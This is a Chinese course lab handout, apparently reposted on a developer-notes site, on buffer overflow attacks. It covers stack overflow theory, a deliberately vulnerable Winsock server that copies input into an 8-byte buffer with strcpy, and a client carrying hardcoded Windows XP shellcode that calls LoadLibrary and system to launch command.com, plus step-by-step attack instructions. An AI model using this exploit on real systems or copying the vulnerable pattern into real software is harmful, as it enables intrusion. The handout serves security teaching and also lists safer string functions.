热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

缓冲区溢出攻击实验

课程编写类别内容实验课题名称缓冲区溢出攻击实验实验目的与要求通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,并理解防范和避免缓冲区溢出
















































课程编写


类别


内容


实验课题名称


缓冲区溢出攻击实验


实验目的与要求


通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,

并理解防范和避免缓冲区溢出攻击的措施。


实验环境


VPC1(虚拟PC)


操作系统类型:Windows XP

网络接口:本地连接


VPC1连接要求


PC网络接口,本地连接与实验网络直连


软件描述


学生机要求安装Java环境

PC1安装VC6.0


实验环境描述


学生机与实验室网络直连

VPC1与实验室网络直连

学生机与VPC1物理链路连通


预备知识


缓冲区溢出(Buffer Overflow)

是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。

利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,

在没有任何系统帐户的条件下获得系统最高控制权,进而进行各种非法操作。

缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。

缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,

写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,

造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。

例如:

#include

main()

{

char string[8];

gets(string);

printf("string is %s\n", string);

}

在UNIX系统中对C函数处理时,系统会为其分配一段内存区间,其中用于函数调用的区域为堆栈区,

保存了函数调用过程中的返回地址、

栈顶和栈底信息,以及局部变量和函数的参数。上述main函数执行时,上述信息按照参数、

ret(返回地址)和EBP(栈底)

的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间,

这个内存空间被申请占用的过程是从

内存高地址空间向低地址空间的延伸。为局部变量在堆栈中预留的空间在填入局部变量时,

其填入的顺序是从低地址内存空间向

高地址内存空间依次进行。函数执行完后,局部变量占用的内存空间将被丢弃,并根据EBP

和ret地址,恢复到调用函数原有地

址空间继续执行。当字符处理函数没有对局部变量进行越界监视和限制时,就存在局部变量

写越界,覆盖了高地址内存空间中ret、

EBP的信息,造成缓冲区溢出。

对于上述main()函数,由于没有参数,系统首先将main函数的ret和EBP写入堆栈,

然后根据string[8]字符数组的大小,

堆栈再扩展8个字节的空间用于存放sting[]数组中的局部变量。当执行gets()函数将

局部变量例如AAAA写入string[]数组时

,字符串AAAA会先填入内存的低地址空间,如下图所示,然后再是高地址空间。

堆栈中内存的分配以4字节为单位,

如果gets()函数执行时输入的字符串为AAAAAAAAAAAAAAAA,按照上述填入顺序,

原有ret和EBP的内存空间将会被字符串A覆盖。

当main函数返回时,再从原ret处获取调用函数返回地址时,就会把AAAA对应的

十六进制ASCII码0x41414141作为返回地址,

使CPU试图执行0x41414141处的指令,由于0x41414141不是一个正常的内存空间地址,

就会发生缓冲区溢出。

发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会

转而执行这个指令,这一点就是缓冲区溢出被用

来进行攻击的最关键之处。在UNIX系统中,由于相同shell环境下,程序的堆栈地址信息是

相同的,所以只要调试后找到这个堆栈地址,

就可以在发生溢出时转而执行这个事先设定的程序了。并且,如果发生溢出的源程序具有

管理员权限,则替换后的程序也拥有相同的管理员权限。

引起缓冲区溢出的问题主要原因是C和C++本质就是不安全的(Java和C#就相对安全许多)

没有边界来检查数据和指针的引用。

而软件开发人员经常忽略检查边界,这就会有缓冲区溢出的风险。标准C库中还存在

许多非安全字符串的操作,

包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。为了防止缓冲区溢出的

发生,编程人员需要对这些存在缓冲区

溢出问题的函数予以关注,增加边界限制,编写正确的代码,或者改用没有问题的函数,

例如strncpy()、strncat()、snprintf()等。


实验内容


简单的缓冲区溢出实验


实验步骤


1、打开控制台。

学生单击“试验环境试验”进入实验场景,单击L005001001xp01_1中的“打开控制台”按钮,进入目标主机。

 

图1

2、找到桌面上的Microsoft Visual C++ 6.0,双击打开。

 

图2

3、新建一个C++ Source File,文件名为server,作为服务器。

 

图3

4、输入以下的代码,并编译构建。图4可以看出,程序没有错误。

 

图4

#include

#include

#include

#pragma comment
(lib, "WS2_32")

void showcontent(char
*buff);

int main(int argc,
char **argv)

{

      
WSADATA wsaData;

      
if( WSAStartup(0x101, &wsaData) != 0 )

      
{

   printf("Failed
Initialization.\n");

  
return 0;

      
}

      

      
if(argc!=2)

      
{

   printf("Usage:
server.exe [port]\n");

  
return 0;

      
}

      

       int port
= atoi(argv[1]);

      
SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

      
if (sListen == INVALID_SOCKET)

      
{

   printf("Failed
socket()\n");

  
return 0;

      
}

      

       sockaddr_in sin;

       sin.sin_family =
AF_INET;

       sin.sin_port = htons(port);

       sin.sin_addr.S_un.S_addr =
INADDR_ANY;

      

      

      
if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)

      
{

   printf("Failed
bind()\n");

  
return 0;

      
}

      

      

      
if (::listen(sListen, 2) == SOCKET_ERROR)

      
{

   printf("Failed
listen()\n");

  
return 0;

      
}

      

      

       sockaddr_in remoteAddr;

       int nAddrLen = sizeof(remoteAddr);

      
SOCKET sClient;

      
char szText[] = "TCP Server is Connected!\n\n";

      
char buff[1024] = {0};

      
char toSend[1024] = {0};

      

      

      
while (TRUE)

      
{

   sClient =
::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);

  
if (sClient == INVALID_SOCKET)

  
{

          printf("Failed
accept()\n");

         
continue;

  
}

  

   printf("Somebody
is connecting: %s\n", inet_ntoa(remoteAddr.sin_addr));

  
::send(sClient, szText, strlen(szText), 0);

  

  

   int nRecv =
::recv(sClient, buff, sizeof(buff), 0);

  
if (nRecv > 0)

  
{

         
buff[nRecv] = '\0';

         
::closesocket(sClient);

         
break;

  
}

      
}

      

      

      
::closesocket(sListen);

       showcontent(buff);

      
return 0;

}

 

 

void showcontent(char
*buff)

{

      
char content[8];

       strcpy(content,
buff);

       printf("%s",
content);

}

 

5、运行程序,可以看见有server.exe应用程序,[port]是口令。

 

图5

6、再新建一个C++ Source File,文件名为Client,作为客户端。

 

图6

7、输入以下的代码,并编译构建。图7可以看出,程序没有错误。

 

图7

#include
 

#include

#include

#pragma comment
(lib, "WS2_32")

 

int main(int argc,
char* *argv)

{

       WSADATA wsaData;

       if( WSAStartup(0x101,
&wsaData) != 0 )

       {

   printf("Failed
Initialization.\n");

   return
0;

       }

      

       if(argc!=3)

       {

   printf("Usage:
client.exe [Server_IP] [port]\n");

   return
0;

       }

      

       int port
= atoi(argv[2]);

       SOCKET
s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

      

       if(s
== INVALID_SOCKET)

       {

   printf("Failed
socket()\n");

   return
0;

       }

      

       sockaddr_in servAddr;

       servAddr.sin_family =
AF_INET;

       servAddr.sin_port = htons(port);

       servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

      

       if(::connect(s,
(sockaddr *)&servAddr, sizeof(servAddr)) == -1)

       {

   printf("Failed
connect()\n");

   return
0;

       }

      

       char
buff[1024];

       int nRev =
::recv(s, buff, sizeof(buff), 0);

       if
(nRev > 0)

       {

   buff[nRev]
= '\0';

   printf("Received:
%s", buff);

       }

      

      

       char toSend[]
=

   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

   "\x12\x45\xfa\x7f"

   "\x55\x8b\xec"

   "\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45"

   "\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6"

   "\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6"

   "\x45\xfd\x4c\xba"

   "\x80\x1d\x80\x7c"   //loadlibrarya

   "\x52\x8d\x45\xf4\x50\xf"

   "\xff\xd0";

      

         char
toSend2[] =

        
"\x41\x42\x43\x44"

   "\x45\x46\x47\x48"

   "\x12\x45\xfa\x7f"

   "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

   "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

   "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

   "\x9c\x3f\x88\x7c"   //loadlibrary地址0x7c883f9c

   "\x52\x8D\x45\xF4\x50"

   "\xFF\x55\xF0"

   "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

 

   //command.

   "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

   //      c   o   m

   "\x50\xB8"

   "\x7c\xbf\x93\x77"   //System地址0x77bf93c7

   "\xFF\xD0";

      

       send(s, toSend, strlen(toSend),
0);

       ::closesocket(s);

       return
0;

}

8、运行程序,可以看见有client.exe应用程序,[Server_IP]是服务器的IP地址,[port]是口令。

 

图8

9、打开命令提示符,输入“ipconfig”查看本机的IP地址,即为服务器的IP地址。如图9,

这里的IP地址是192.168.1.126。

 

图9

10、打开桌面上的Debug文件夹,找到其中的client.exe和server.exe。

 

图10

 

图11

11、复制server.exe和client.exe,将他们粘贴到“c:\windows\system32”目录下。

 

图12

12、打开命令提示符,找到“c:\windows\system32”目录,并运行命令“server.exe
8888”来开启server。

 

图13

13、另外打开一个命令提示符,同样找到“c:\windows\system32”目录,运行命令

“client.exe
192.168.1.126 8888”来攻击server。

 

图14

14、点击回车键后,可以看见一行提示“Received: TCP Server is Connected!”,

表明连接上了server。然后会弹出一个对话框,显示server.exe遇到问题需要关闭,这表明server被攻击并报错了。

 

图15

 

15、实验结束,关闭实验环境。


 

 


推荐阅读
  • 动态规划算法的基本步骤及最长递增子序列问题详解
    本文详细介绍了动态规划算法的基本步骤,包括划分阶段、选择状态、决策和状态转移方程,并以最长递增子序列问题为例进行了详细解析。动态规划算法的有效性依赖于问题本身所具有的最优子结构性质和子问题重叠性质。通过将子问题的解保存在一个表中,在以后尽可能多地利用这些子问题的解,从而提高算法的效率。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 本文介绍了一种划分和计数油田地块的方法。根据给定的条件,通过遍历和DFS算法,将符合条件的地块标记为不符合条件的地块,并进行计数。同时,还介绍了如何判断点是否在给定范围内的方法。 ... [详细]
  • 猜字母游戏
    猜字母游戏猜字母游戏——设计数据结构猜字母游戏——设计程序结构猜字母游戏——实现字母生成方法猜字母游戏——实现字母检测方法猜字母游戏——实现主方法1猜字母游戏——设计数据结构1.1 ... [详细]
  • 本文介绍了PE文件结构中的导出表的解析方法,包括获取区段头表、遍历查找所在的区段等步骤。通过该方法可以准确地解析PE文件中的导出表信息。 ... [详细]
  • 本文讨论了使用差分约束系统求解House Man跳跃问题的思路与方法。给定一组不同高度,要求从最低点跳跃到最高点,每次跳跃的距离不超过D,并且不能改变给定的顺序。通过建立差分约束系统,将问题转化为图的建立和查询距离的问题。文章详细介绍了建立约束条件的方法,并使用SPFA算法判环并输出结果。同时还讨论了建边方向和跳跃顺序的关系。 ... [详细]
  • C语言注释工具及快捷键,删除C语言注释工具的实现思路
    本文介绍了C语言中注释的两种方式以及注释的作用,提供了删除C语言注释的工具实现思路,并分享了C语言中注释的快捷键操作方法。 ... [详细]
  • c语言\n不换行,c语言printf不换行
    本文目录一览:1、C语言不换行输入2、c语言的 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文介绍了为什么要使用多进程处理TCP服务端,多进程的好处包括可靠性高和处理大量数据时速度快。然而,多进程不能共享进程空间,因此有一些变量不能共享。文章还提供了使用多进程实现TCP服务端的代码,并对代码进行了详细注释。 ... [详细]
  • 本文介绍了解决二叉树层序创建问题的方法。通过使用队列结构体和二叉树结构体,实现了入队和出队操作,并提供了判断队列是否为空的函数。详细介绍了解决该问题的步骤和流程。 ... [详细]
  • 本文介绍了C函数ispunct()的用法及示例代码。ispunct()函数用于检查传递的字符是否是标点符号,如果是标点符号则返回非零值,否则返回零。示例代码演示了如何使用ispunct()函数来判断字符是否为标点符号。 ... [详细]
  • 本文介绍了UVALive6575题目Odd and Even Zeroes的解法,使用了数位dp和找规律的方法。阶乘的定义和性质被介绍,并给出了一些例子。其中,部分阶乘的尾零个数为奇数,部分为偶数。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
author-avatar
bankq
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有